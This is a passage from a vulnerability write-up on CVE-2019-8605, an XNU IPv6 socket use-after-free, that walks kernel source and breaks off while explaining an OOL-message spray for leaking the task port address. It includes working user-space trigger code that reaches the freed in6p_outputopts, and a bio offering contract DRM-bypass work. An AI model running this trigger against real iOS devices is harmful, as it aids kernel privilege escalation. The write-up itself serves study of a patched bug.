CVE-2019-8605: From UAF to TFP0

About the author. I’m Colin Xiao — an independent reverse engineer, mostly working solo on contract jobs. I dig into compiled code of every kind, including but not limited to: Android and iOS apps, x86/x64/ARM native binaries, packers and obfuscators, DRM and license checks, network protocols and APIs, crypto and signature algorithms, malware, game binaries, and embedded/IoT firmware. I also handle large-scale data collection and vulnerability research. If you have any project in mind, I’d be glad to take it on — whatever it is, as long as it’s within my wheelhouse. Just reach out. You can reach me on X at @colinxiao_lab or on Telegram at https://t.me/ColinXiao666.

This research is published for educational and defensive purposes. The target sample is anonymized throughout.


CVE-2019-8605: From UAF to TFP0

This writeup began with a bug report by Ned Williamson:

alongside an excellent Project Zero blog post that walks through the same territory:

Apple’s advisory reads:

// https://support.apple.com/en-us/HT210549

Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation

Impact: A malicious application may be able to execute arbitrary code with system privileges

Description: A use after free issue was addressed with improved memory management.

CVE-2019-8605: Ned Williamson working with Google Project Zero

1. Sockets, from the developer’s view

As the advisory states, this is a use-after-free in the socket layer. Most developers only know sockets from the application level — opening a connection and exchanging data — so I’ll start there and work down to the kernel.

Networking textbooks first split the stack into the seven-layer OSI model:

then the more practical four-layer Internet protocol suite:

socket() takes three arguments:

int socket(int domain, int type, int protocol);

The first, domain, is the protocol family — AF_INET, AF_INET6, and so on.

The second, type, is the socket type — SOCK_STREAM, SOCK_DGRAM, SOCK_RAW, etc.:

#define	SOCK_STREAM	1		/* stream socket */
#define	SOCK_DGRAM	2		/* datagram socket */
#define	SOCK_RAW	3		/* raw-protocol interface */
#if !defined(_POSIX_C_SOURCE) || defined(_DARWIN_C_SOURCE)
#define	SOCK_RDM	4		/* reliably-delivered message */
#endif	/* (!_POSIX_C_SOURCE || _DARWIN_C_SOURCE) */
#define	SOCK_SEQPACKET	5		/* sequenced packet stream */

The third, protocol, is the transport protocol — IPPROTO_TCP, IPPROTO_UDP.

Creating a socket:

int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
if (tcp_sock < 0) {
    printf("[-] Can't create socket, error %d (%s)\n", errno, strerror(errno));
    return -1;
}

To use it as a server you’d call bind() to attach a local port, listen() to start listening, then loop over accept() to accept connections before exchanging data.

Beej’s Guide is the classic socket-programming reference and I strongly recommend it:

2. The bug in the source

The user-space disconnectx()

This one barely shows up in search engines, so I had to read the source to understand what it does in the PoC:

__API_AVAILABLE(macosx(10.11), ios(9.0), tvos(9.0), watchos(2.0))
int disconnectx(int, sae_associd_t, sae_connid_t);

448	AUE_NULL	ALL	{ int disconnectx(int s, sae_associd_t aid, sae_connid_t cid); }

Dispatch lands in this kernel function, which calls disconnectx_nocancel() at marker (1):

int
disconnectx(struct proc *p, struct disconnectx_args *uap, int *retval)
{
	/*
	 * Due to similiarity with a POSIX interface, define as
	 * an unofficial cancellation point.
	 */
	__pthread_testcancel(1);
	return (disconnectx_nocancel(p, uap, retval));    // (1)
}

At (2), file_socket() resolves the so structure, then sodisconnectx() is called at (3):

static int
disconnectx_nocancel(struct proc *p, struct disconnectx_args *uap, int *retval)
{
#pragma unused(p, retval)
	struct socket *so;
	int fd = uap->s;
	int error;

	error = file_socket(fd, &so);    // (2)
	if (error != 0)
		return (error);
	if (so == NULL) {
		error = EBADF;
		goto out;
	}

	error = sodisconnectx(so, uap->aid, uap->cid);    // (3)
out:
	file_drop(fd);
	return (error);
}

socket_lock() and socket_unlock() guard against a race, then sodisconnectxlocked() is called at (4):

int
sodisconnectx(struct socket *so, sae_associd_t aid, sae_connid_t cid)
{
	int error;

	socket_lock(so, 1);
	error = sodisconnectxlocked(so, aid, cid);    // (4)
	socket_unlock(so, 1);
	return (error);
}

At (5), *so->so_proto->pr_usrreqs->pru_disconnectx is a function pointer:

int
sodisconnectxlocked(struct socket *so, sae_associd_t aid, sae_connid_t cid)
{
	int error;

	/*
	 * Call the protocol disconnectx handler; let it handle all
	 * matters related to the connection state of this session.
	 */
	error = (*so->so_proto->pr_usrreqs->pru_disconnectx)(so, aid, cid);    // (5)
	if (error == 0) {
		/*
		 * The event applies only for the session, not for
		 * the disconnection of individual subflows.
		 */
		if (so->so_state & (SS_ISDISCONNECTING|SS_ISDISCONNECTED))
			sflt_notify(so, sock_evt_disconnected, NULL);
	}
	return (error);
}

Searching for the struct-initializer signature, the implementation is tcp_usr_disconnectx(). Its three arguments are the user-space arguments. At (6) there’s a check we can bypass by passing 0 for the second argument; bypassing it reaches tcp_usr_disconnect() at (7):

#define	SAE_ASSOCID_ANY	0
#define	SAE_ASSOCID_ALL	((sae_associd_t)(-1ULL))
#define	EINVAL		22		/* Invalid argument */

static int
tcp_usr_disconnectx(struct socket *so, sae_associd_t aid, sae_connid_t cid)
{
#pragma unused(cid)
	if (aid != SAE_ASSOCID_ANY && aid != SAE_ASSOCID_ALL)    // (6)
		return (EINVAL);

	return (tcp_usr_disconnect(so));    // (7)
}

tcp_usr_disconnect() uses the COMMON_START() / COMMON_END(PRU_DISCONNECT) macros. COMMON_START() sets tp = intotcpcb(inp), so the business logic is fine here. It then calls tcp_disconnect() at (8):

static int
tcp_usr_disconnect(struct socket *so)
{
	int error = 0;
	struct inpcb *inp = sotoinpcb(so);
	struct tcpcb *tp;

	socket_lock_assert_owned(so);
	COMMON_START();
        /* In case we got disconnected from the peer */
        if (tp == NULL)
		goto out;
	tp = tcp_disconnect(tp);    // (8)
	COMMON_END(PRU_DISCONNECT);
}

tcp_disconnect() checks tp->t_state < TCPS_ESTABLISHED. tp->t_state is the socket state — I’ve listed part of it below. Since we only created a socket without calling bind() or listen(), the state is TCPS_CLOSED, so it takes the tcp_close() path at (9):

#define	TCPS_CLOSED		0	/* closed */
#define	TCPS_LISTEN		1	/* listening for connection */
#define	TCPS_SYN_SENT		2	/* active, have sent syn */
#define	TCPS_SYN_RECEIVED	3	/* have send and received syn */
/* states < TCPS_ESTABLISHED are those where connections not established */
#define	TCPS_ESTABLISHED	4	/* established */

static struct tcpcb *
tcp_disconnect(struct tcpcb *tp)
{
	struct socket *so = tp->t_inpcb->inp_socket;

	if (so->so_rcv.sb_cc != 0 || tp->t_reassqlen != 0)
		return tcp_drop(tp, 0);

	if (tp->t_state < TCPS_ESTABLISHED)
		tp = tcp_close(tp);    // (9)
	else if ((so->so_options & SO_LINGER) && so->so_linger == 0)
		tp = tcp_drop(tp, 0);
	else {
		soisdisconnecting(so);
		sbflush(&so->so_rcv);
		tp = tcp_usrclosed(tp);
#if MPTCP
		/* A reset has been sent but socket exists, do not send FIN */
		if ((so->so_flags & SOF_MP_SUBFLOW) &&
		    (tp) && (tp->t_mpflags & TMPF_RESET))
			return (tp);
#endif
		if (tp)
			(void) tcp_output(tp);
	}
	return (tp);
}

To check the state from user space:

// https://developer.apple.com/documentation/kernel/tcp_connection_info

int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
struct tcp_connection_info info;
int len = sizeof(info);
getsockopt(tcp_sock, IPPROTO_TCP, TCP_CONNECTION_INFO, &info, (socklen_t *)&len);
NSLog(@"%d", info.tcpi_state);

tcp_close() is enormous — I’ve trimmed the business logic. It always reaches the code below, which checks the protocol family. This bug is in in6_pcbdetach() at (10):

struct tcpcb *
tcp_close(struct tcpcb *tp)
{
	struct inpcb *inp = tp->t_inpcb;
	struct socket *so = inp->inp_socket;
	
	...

#if INET6
	if (SOCK_CHECK_DOM(so, PF_INET6))
		in6_pcbdetach(inp);    // (10)
	else
#endif /* INET6 */
		in_pcbdetach(inp);

	/*
	 * Call soisdisconnected after detach because it might unlock the socket
	 */
	soisdisconnected(so);
	tcpstat.tcps_closed++;
	KERNEL_DEBUG(DBG_FNC_TCP_CLOSE | DBG_FUNC_END,
	    tcpstat.tcps_closed, 0, 0, 0, 0);
	return (NULL);
}

At (11), in6_pcbdetach() calls ip6_freepcbopts() to free the inp->in6p_outputopts member — and, as the surrounding code shows, it only frees it without nulling the pointer. Classic UAF shape:

void
in6_pcbdetach(struct inpcb *inp)
{
	struct socket *so = inp->inp_socket;

	if (so->so_pcb == NULL) {
		/* PCB has been disposed */
		panic("%s: inp=%p so=%p proto=%d so_pcb is null!\n", __func__,
		    inp, so, SOCK_PROTO(so));
		/* NOTREACHED */
	}

#if IPSEC
	if (inp->in6p_sp != NULL) {
		(void) ipsec6_delete_pcbpolicy(inp);
	}
#endif /* IPSEC */

	if (inp->inp_stat != NULL && SOCK_PROTO(so) == IPPROTO_UDP) {
		if (inp->inp_stat->rxpackets == 0 && inp->inp_stat->txpackets == 0) {
			INC_ATOMIC_INT64_LIM(net_api_stats.nas_socket_inet6_dgram_no_data);
		}
	}

	/*
	 * Let NetworkStatistics know this PCB is going away
	 * before we detach it.
	 */
	if (nstat_collect &&
	    (SOCK_PROTO(so) == IPPROTO_TCP || SOCK_PROTO(so) == IPPROTO_UDP))
		nstat_pcb_detach(inp);
	/* mark socket state as dead */
	if (in_pcb_checkstate(inp, WNT_STOPUSING, 1) != WNT_STOPUSING) {
		panic("%s: so=%p proto=%d couldn't set to STOPUSING\n",
		    __func__, so, SOCK_PROTO(so));
		/* NOTREACHED */
	}

	if (!(so->so_flags & SOF_PCBCLEARING)) {
		struct ip_moptions *imo;
		struct ip6_moptions *im6o;

		inp->inp_vflag = 0;
		if (inp->in6p_options != NULL) {
			m_freem(inp->in6p_options);
			inp->in6p_options = NULL;
		}
		ip6_freepcbopts(inp->in6p_outputopts);    // (11)
		ROUTE_RELEASE(&inp->in6p_route);
		/* free IPv4 related resources in case of mapped addr */
		if (inp->inp_options != NULL) {
			(void) m_free(inp->inp_options);
			inp->inp_options = NULL;
		}
		im6o = inp->in6p_moptions;
		inp->in6p_moptions = NULL;

		imo = inp->inp_moptions;
		inp->inp_moptions = NULL;

		sofreelastref(so, 0);
		inp->inp_state = INPCB_STATE_DEAD;
		/* makes sure we're not called twice from so_close */
		so->so_flags |= SOF_PCBCLEARING;

		inpcb_gc_sched(inp->inp_pcbinfo, INPCB_TIMER_FAST);

		/*
		 * See inp_join_group() for why we need to unlock
		 */
		if (im6o != NULL || imo != NULL) {
			socket_unlock(so, 0);
			if (im6o != NULL)
				IM6O_REMREF(im6o);
			if (imo != NULL)
				IMO_REMREF(imo);
			socket_lock(so, 0);
		}
	}
}

At this point I can only say: the socket layer is enormous.

3. Finding the trigger path

From the analysis above, the vulnerable function is reachable from user space:

448	AUE_NULL	ALL	{ int disconnectx(int s, sae_associd_t aid, sae_connid_t cid); }

The minimal trigger is just this — after disconnectx() we hold a socket with a dangling in6p_outputopts:

int main(int argc, char * argv[]) {
    int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
    disconnectx(tcp_sock, 0, 0);
}

A UAF hinges on using a freed pointer later. So how do we keep operating on a closed socket?

Sockets expose two option accessors, getsockopt() and setsockopt():

105	AUE_SETSOCKOPT	ALL	{ int setsockopt(int s, int level, int name, caddr_t val, socklen_t valsize); } 
118	AUE_GETSOCKOPT	ALL	{ int getsockopt(int s, int level, int name, caddr_t val, socklen_t *avalsize); }

setsockopt()’s first argument is the socket; the second is the level; the third is the option name (which depends on the level); the fourth is a pointer to the new value; the fifth is its size:

#define IPV6_USE_MIN_MTU 42

int get_minmtu(int sock, int *minmtu) {
    socklen_t size = sizeof(*minmtu);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}

int main(int argc, char * argv[]) {
    int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
    // SOPT_SET
    int minmtu = -1;
    setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
    // SOPT_GET
    int mtu;
    get_minmtu(tcp_sock, &mtu);
    NSLog(@"%d\n", mtu);
}

Why IPPROTO_IPV6 and IPV6_USE_MIN_MTU?

It comes back to the member that was never nulled: inp->in6p_outputopts. Its struct is:

struct	ip6_pktopts {
	struct	mbuf *ip6po_m;	/* Pointer to mbuf storing the data */
	int	ip6po_hlim;	/* Hoplimit for outgoing packets */

	/* Outgoing IF/address information */
	struct	in6_pktinfo *ip6po_pktinfo;

	/* Next-hop address information */
	struct	ip6po_nhinfo ip6po_nhinfo;

	struct	ip6_hbh *ip6po_hbh; /* Hop-by-Hop options header */

	/* Destination options header (before a routing header) */
	struct	ip6_dest *ip6po_dest1;

	/* Routing header related info. */
	struct	ip6po_rhinfo ip6po_rhinfo;

	/* Destination options header (after a routing header) */
	struct	ip6_dest *ip6po_dest2;

	int	ip6po_tclass;	/* traffic class */

	int	ip6po_minmtu;  /* fragment vs PMTU discovery policy */
#define	IP6PO_MINMTU_MCASTONLY	-1 /* default; send at min MTU for multicast */
#define	IP6PO_MINMTU_DISABLE	 0 /* always perform pmtu disc */
#define	IP6PO_MINMTU_ALL	 1 /* always send at min MTU */

	/* whether temporary addresses are preferred as source address */
	int	ip6po_prefer_tempaddr;

#define	IP6PO_TEMPADDR_SYSTEM	-1 /* follow the system default */
#define	IP6PO_TEMPADDR_NOTPREFER 0 /* not prefer temporary address */
#define	IP6PO_TEMPADDR_PREFER	 1 /* prefer temporary address */

	int ip6po_flags;
#if 0	/* parameters in this block is obsolete. do not reuse the values. */
#define	IP6PO_REACHCONF	0x01	/* upper-layer reachability confirmation. */
#define	IP6PO_MINMTU	0x02	/* use minimum MTU (IPV6_USE_MIN_MTU) */
#endif
#define	IP6PO_DONTFRAG		0x04	/* no fragmentation (IPV6_DONTFRAG) */
#define	IP6PO_USECOA		0x08	/* use care of address */
};

Both set*() and get*() ultimately reach a case that touches a struct member.

Searching the source for IPV6_USE_MIN_MTU, ip6_getpcbopt has the matching code. The IPV6_USE_MIN_MTU option maps to ip6_pktopts->ip6po_minmtu:

static int
ip6_setpktopt(int optname, u_char *buf, int len, struct ip6_pktopts *opt,
    int sticky, int cmsg, int uproto)
{
	...
	switch (optname) {
	...
	case IPV6_USE_MIN_MTU:
		if (len != sizeof (int))
			return (EINVAL);
		minmtupolicy = *(int *)(void *)buf;
		if (minmtupolicy != IP6PO_MINMTU_MCASTONLY &&
		    minmtupolicy != IP6PO_MINMTU_DISABLE &&
		    minmtupolicy != IP6PO_MINMTU_ALL) {
			return (EINVAL);
		}
		opt->ip6po_minmtu = minmtupolicy;    // the assignment
		break;

Both ip6_setpktopts() and ip6_pcbopt() call ip6_setpktopt(), but only the latter’s call logic matches, so the caller is ip6_pcbopt:

static int
ip6_pcbopt(int optname, u_char *buf, int len, struct ip6_pktopts **pktopt,
    int uproto)
{
	struct ip6_pktopts *opt;

	opt = *pktopt;
	if (opt == NULL) {
		opt = _MALLOC(sizeof (*opt), M_IP6OPT, M_WAITOK);
		if (opt == NULL)
			return (ENOBUFS);
		ip6_initpktopts(opt);
		*pktopt = opt;
	}

	return (ip6_setpktopt(optname, buf, len, opt, 1, 0, uproto));
}

In ip6_ctloutput(), when optname is IPV6_USE_MIN_MTU, ip6_pcbopt() is called:

int
ip6_ctloutput(struct socket *so, struct sockopt *sopt)
{
	...
	if (level == IPPROTO_IPV6) {
		boolean_t capture_exthdrstat_in = FALSE;
		switch (op) {
		case SOPT_SET:
			switch (optname) {
			...
			case IPV6_TCLASS:
			case IPV6_DONTFRAG:
			case IPV6_USE_MIN_MTU:
			case IPV6_PREFER_TEMPADDR: {
				...
				optp = &in6p->in6p_outputopts;
				error = ip6_pcbopt(optname, (u_char *)&optval,
				    sizeof (optval), optp, uproto);
				...
				break;
			}

rip6_ctloutput() dispatches on SOPT_SET and SOPT_GET; IPV6_USE_MIN_MTU falls through the default branch into ip6_ctloutput():

int
rip6_ctloutput(
	struct socket *so,
	struct sockopt *sopt)
{
	...
	switch (sopt->sopt_dir) {
	case SOPT_GET:
	...
	case SOPT_SET:
		switch (sopt->sopt_name) {
		case IPV6_CHECKSUM:
			error = ip6_raw_ctloutput(so, sopt);
			break;

		case SO_FLUSH:
			if ((error = sooptcopyin(sopt, &optval, sizeof (optval),
			    sizeof (optval))) != 0)
				break;

			error = inp_flush(sotoinpcb(so), optval);
			break;

		default:
			error = ip6_ctloutput(so, sopt);    // optname == IPV6_USE_MIN_MTU
			break;
		}
		break;
	}

	return (error);
}

rip6_ctloutput() isn’t reached through a normal call chain — it’s wired up through a struct initializer:

{
	...
	.pr_ctloutput =		rip6_ctloutput,
}

That’s easy enough to trace: search for ->pr_ctloutput. When level isn’t SOL_SOCKET, rip6_ctloutput() is called:

int
sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)
{
	...

	if ((so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) ==
	    (SS_CANTRCVMORE | SS_CANTSENDMORE) &&
	    (so->so_flags & SOF_NPX_SETOPTSHUT) == 0) {
		/* the socket has been shutdown, no more sockopt's */
		error = EINVAL;
		goto out;
	}

	...

	if (sopt->sopt_level != SOL_SOCKET) {
		if (so->so_proto != NULL &&
		    so->so_proto->pr_ctloutput != NULL) {
			error = (*so->so_proto->pr_ctloutput)(so, sopt);
			goto out;
		}
		error = ENOPROTOOPT;
	} else {

And finally back to the original setsockopt():

int
setsockopt(struct proc *p, struct setsockopt_args *uap,
    __unused int32_t *retval)
{
	struct socket *so;
	struct sockopt sopt;
	int error;

	AUDIT_ARG(fd, uap->s);
	if (uap->val == 0 && uap->valsize != 0)
		return (EFAULT);
	/* No bounds checking on size (it's unsigned) */

	error = file_socket(uap->s, &so);
	if (error)
		return (error);

	sopt.sopt_dir = SOPT_SET;
	sopt.sopt_level = uap->level;
	sopt.sopt_name = uap->name;
	sopt.sopt_val = uap->val;
	sopt.sopt_valsize = uap->valsize;
	sopt.sopt_p = p;

	if (so == NULL) {
		error = EINVAL;
		goto out;
	}
#if CONFIG_MACF_SOCKET_SUBSET
	if ((error = mac_socket_check_setsockopt(kauth_cred_get(), so,
	    &sopt)) != 0)
		goto out;
#endif /* MAC_SOCKET_SUBSET */
	error = sosetoptlock(so, &sopt, 1);	/* will lock socket */
out:
	file_drop(uap->s);
	return (error);
}

That’s the origin of the IPPROTO_IPV6 / IPV6_USE_MIN_MTU arguments.

But remember — all of the above assumes the socket is still healthy. What happens after disconnectx()?

Can we still operate on a closed socket?

#define IPV6_USE_MIN_MTU 42

int get_minmtu(int sock, int *minmtu) {
    socklen_t size = sizeof(*minmtu);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}

int main(int argc, char * argv[]) {
    int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
    // SOPT_SET
    int minmtu = -1;
    setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
    // free in6p_outputopts
    disconnectx(tcp_sock, 0, 0);
    int ret = setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
    if (ret) {
        printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno));
        return -1;
    }
}

Clearly not:

[-] setsockopt() failed, error 22 (Invalid argument)

Because sosetoptlock() has a check that bails out as soon as it sees a shutdown socket:

#define	SS_CANTRCVMORE		0x0020	/* can't receive more data from peer */
#define	SS_CANTSENDMORE		0x0010	/* can't send more data to peer */
#define	SOF_NPX_SETOPTSHUT	0x00002000 /* Non POSIX extension to allow

int
sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)
{
	...

	if ((so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) ==
	    (SS_CANTRCVMORE | SS_CANTSENDMORE) &&
	    (so->so_flags & SOF_NPX_SETOPTSHUT) == 0) {
		/* the socket has been shutdown, no more sockopt's */
		error = EINVAL;
		goto out;
	}
	...

Read the condition carefully: the left side so->so_state must match SS_CANTRCVMORE | SS_CANTSENDMORE, and the right side so->so_flags must not have SOF_NPX_SETOPTSHUT. If both hold, it jumps to goto out:

(so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) == (SS_CANTRCVMORE | SS_CANTSENDMORE) 
&& (so->so_flags & SOF_NPX_SETOPTSHUT) == 0

But there’s a way out — this flag allows setsockopt after shutdown:

#define	SONPX_SETOPTSHUT	0x000000001	/* flag for allowing setsockopt after shutdown */

The flag is used in the SOL_SOCKET branch: when sonpx.npx_mask and sonpx.npx_flags are both SONPX_SETOPTSHUT, SOF_NPX_SETOPTSHUT is added to so->so_flags:

int
sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)
{
	...
	if (sopt->sopt_level != SOL_SOCKET) {
		...
	} else {
		...
		switch (sopt->sopt_name) {
		...
		case SO_NP_EXTENSIONS: {
			struct so_np_extensions sonpx;

			error = sooptcopyin(sopt, &sonpx, sizeof (sonpx),
			    sizeof (sonpx));
			if (error != 0)
				goto out;
			if (sonpx.npx_mask & ~SONPX_MASK_VALID) {
				error = EINVAL;
				goto out;
			}
			/*
			 * Only one bit defined for now
			 */
			if ((sonpx.npx_mask & SONPX_SETOPTSHUT)) {
				if ((sonpx.npx_flags & SONPX_SETOPTSHUT))
					so->so_flags |= SOF_NPX_SETOPTSHUT;    // set the flag
				else
					so->so_flags &= ~SOF_NPX_SETOPTSHUT;
			}
			break;
		}

Once so->so_flags has SOF_NPX_SETOPTSHUT, the right side of the earlier check no longer holds, and we bypass it:

(so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) == (SS_CANTRCVMORE | SS_CANTSENDMORE) 
&& (so->so_flags & SOF_NPX_SETOPTSHUT) == 0

The full trigger now:

int main(int argc, char * argv[]) {
    int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
    int minmtu = -1;
    setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
    struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};
    setsockopt(tcp_sock, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
    disconnectx(tcp_sock, 0, 0);
    minmtu = 1;
    ret = setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
    if (ret) {
        printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno));
        return -1;
    }
    int mtu;
    get_minmtu(tcp_sock, &mtu);
    NSLog(@"%d\n", mtu);
    
    return UIApplicationMain(argc, argv, nil, appDelegateClassName);
}

And it works:

2021-01-20 00:26:04.136672+0800 CVE-2019-8605-iOS[650:238743] 1

4. Leaking the Task Port kernel address

The standard UAF play is to heap-spray into the freed slot so the dangling pointer now points at data we control. Next: leak an address.

Following Ned Williamson’s approach — the order below doesn’t match the exploit’s order, so cross-reference freely:

What do we leak? The Task Port.

To explain what a Task Port is and what owning one gets you, here’s a brief XNU task primer.

A task is a resource container: it encapsulates a virtual address space, processor resources, scheduling control, and more. The relevant struct is below — note the IPC structures section:

struct task {
	/* Synchronization/destruction information */
	decl_lck_mtx_data(,lock)		/* Task's lock */
	_Atomic uint32_t	ref_count;	/* Number of references to me */
	boolean_t	active;		/* Task has not been terminated */
	boolean_t	halting;	/* Task is being halted */
	/* Virtual timers */
	uint32_t		vtimers;

	/* Miscellaneous */
	vm_map_t	map;		/* Address space description */
	queue_chain_t	tasks;	/* global list of tasks */

	/* Threads in this task */
	queue_head_t		threads;

	...

	/* IPC structures */
	decl_lck_mtx_data(,itk_lock_data)
	struct ipc_port *itk_self;	/* not a right, doesn't hold ref */
	struct ipc_port *itk_nself;	/* not a right, doesn't hold ref */
	struct ipc_port *itk_sself;	/* a send right */
	struct exception_action exc_actions[EXC_TYPES_COUNT];
			 			/* a send right each valid element  */
	struct ipc_port *itk_host;	/* a send right */
	struct ipc_port *itk_bootstrap;	/* a send right */
	struct ipc_port *itk_seatbelt;	/* a send right */
	struct ipc_port *itk_gssd;	/* yet another send right */
	struct ipc_port *itk_debug_control; /* send right for debugmode communications */
	struct ipc_port *itk_task_access; /* and another send right */ 
	struct ipc_port *itk_resume;	/* a receive right to resume this task */
	struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX];
					/* all send rights */

	struct ipc_space *itk_space;
	...
};

In short, the Task Port is the task’s own port. mach_task_self / mach_task_self() both return it, and it’s the gateway to a huge amount of capability. In the exploit code below, the first argument to find_port_via_uaf() is obtained from mach_task_self().

The leak flow:

self_port_addr = task_self_addr(); // port leak primitive

with a cache behind it:

uint64_t task_self_addr() {
    static uint64_t cached_task_self_addr = 0;
    // have we already resolved the Task Port address?
    if (cached_task_self_addr)
        return cached_task_self_addr;   // return the cached Task Port address
    else
        return find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
}

Get a vulnerable socket, spray over the freed memory, and read through inp->in6p_outputopts:

uint64_t find_port_via_uaf(mach_port_t port, int disposition) {
    int sock = get_socket_with_dangling_options();
    
    // fill the freed memory and read back through inp->in6p_outputopts
			...
    
    close(sock);
    return 0;
}

We can’t just spray the port directly, because a port looks different in user space than it does in the kernel.

In user space, a port is an unsigned integer:

typedef __darwin_mach_port_t mach_port_t;
typedef __darwin_mach_port_name_t __darwin_mach_port_t; /* Used by mach */
typedef __darwin_natural_t __darwin_mach_port_name_t; /* Used by mach */
typedef unsigned int		__darwin_natural_t;

In the kernel, a port is the ipc_port struct:

struct ipc_port {

	/*
	 * Initial sub-structure in common with ipc_pset
	 * First element is an ipc_object second is a
	 * message queue
	 */
	struct ipc_object ip_object;
	struct ipc_mqueue ip_messages;

	union {
		struct ipc_space *receiver;
		struct ipc_port *destination;
		ipc_port_timestamp_t timestamp;
	} data;

	union {
		ipc_kobject_t kobject;
		ipc_importance_task_t imp_task;
		ipc_port_t sync_inheritor_port;
		struct knote *sync_inheritor_knote;
		struct turnstile *sync_inheritor_ts;
	} kdata;

	struct ipc_port *ip_nsrequest;
	struct ipc_port *ip_pdrequest;
	struct ipc_port_request *ip_requests;
	union {
		struct ipc_kmsg *premsg;
		struct turnstile *send_turnstile;
		SLIST_ENTRY(ipc_port) dealloc_elm;
	} kdata2;

	mach_vm_address_t ip_context;

	natural_t ip_sprequests:1,	/* send-possible requests outstanding */
		  ip_spimportant:1,	/* ... at least one is importance donating */
		  ip_impdonation:1,	/* port supports importance donation */
		  ip_tempowner:1,	/* dont give donations to current receiver */
		  ip_guarded:1,         /* port guarded (use context value as guard) */
		  ip_strict_guard:1,	/* Strict guarding; Prevents user manipulation of context values directly */
		  ip_specialreply:1,	/* port is a special reply port */
		  ip_sync_link_state:3,	/* link the special reply port to destination port/ Workloop */
		  ip_impcount:22;	/* number of importance donations in nested queue */

	mach_port_mscount_t ip_mscount;
	mach_port_rights_t ip_srights;
	mach_port_rights_t ip_sorights;

#if	MACH_ASSERT
#define	IP_NSPARES		4
#define	IP_CALLSTACK_MAX	16
/*	queue_chain_t	ip_port_links;*//* all allocated ports */
	thread_t	ip_thread;	/* who made me?  thread context */
	unsigned long	ip_timetrack;	/* give an idea of "when" created */
	uintptr_t	ip_callstack[IP_CALLSTACK_MAX]; /* stack trace */
	unsigned long	ip_spares[IP_NSPARES]; /* for debugging */
#endif	/* MACH_ASSERT */
#if DEVELOPMENT || DEBUG
	uint8_t		ip_srp_lost_link:1,	/* special reply port turnstile link chain broken */
			ip_srp_msg_sent:1;	/* special reply port msg sent */
#endif
};

So how do we get the kernel-space address into inp->in6p_outputopts?

Answer: an OOL message.

An OOL message is defined as follows. mach_msg_ool_ports_descriptor_t sends multiple Mach ports in a single message as an array of ports:

struct ool_msg  {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports;
};

Why an OOL message for the spray? The source tells us.

Mach message send/receive goes through mach_msg(), which exists in both user and kernel space.

Following mach_msg(): it calls mach_msg_trap(), which calls mach_msg_overwrite_trap():

mach_msg_return_t
mach_msg_trap(
	struct mach_msg_overwrite_trap_args *args)
{
	kern_return_t kr;
	args->rcv_msg = (mach_vm_address_t)0;

	kr = mach_msg_overwrite_trap(args);
	return kr;
}

When mach_msg()’s second argument is MACH_SEND_MSG, ipc_kmsg_get() allocates the buffer and copies the message in from user space:

mach_msg_return_t
mach_msg_overwrite_trap(
	struct mach_msg_overwrite_trap_args *args)
{
	mach_vm_address_t       msg_addr = args->msg;
	mach_msg_option_t       option = args->option;  // mach_msg() second argument
    ...

	mach_msg_return_t  mr = MACH_MSG_SUCCESS; // all good
	vm_map_t map = current_map();

	/* Only accept options allowed by the user */
	option &= MACH_MSG_OPTION_USER;

	if (option & MACH_SEND_MSG) {
		ipc_space_t space = current_space();
		ipc_kmsg_t kmsg;    // local kmsg variable

        // allocate the buffer and copy the message header in from user space
		mr = ipc_kmsg_get(msg_addr, send_size, &kmsg);
	    // convert ports and copy the message body
		mr = ipc_kmsg_copyin(kmsg, space, map, override, &option);
		// send the message
		mr = ipc_kmsg_send(kmsg, option, msg_timeout);
	}

	if (option & MACH_RCV_MSG) {
		...
	}

	return MACH_MSG_SUCCESS;
}

ipc_kmsg_get() — ipc_kmsg_t is the kernel-side message storage struct. The copy process is annotated below; it mostly operates on kmsg->ikm_header, the message data passed in from user space:

mach_msg_return_t
ipc_kmsg_get(
	mach_vm_address_t       msg_addr,
	mach_msg_size_t size,
	ipc_kmsg_t              *kmsgp)
{
	mach_msg_size_t                 msg_and_trailer_size;
	ipc_kmsg_t                      kmsg;
	mach_msg_max_trailer_t          *trailer;
	mach_msg_legacy_base_t      legacy_base;
	mach_msg_size_t             len_copied;
	legacy_base.body.msgh_descriptor_count = 0;

	// length parameter checks
	...

    // mach_msg_legacy_base_t is the same size as mach_msg_base_t
    if (size == sizeof(mach_msg_legacy_header_t)) {
		len_copied = sizeof(mach_msg_legacy_header_t);
	} else {
		len_copied = sizeof(mach_msg_legacy_base_t);
	}
	
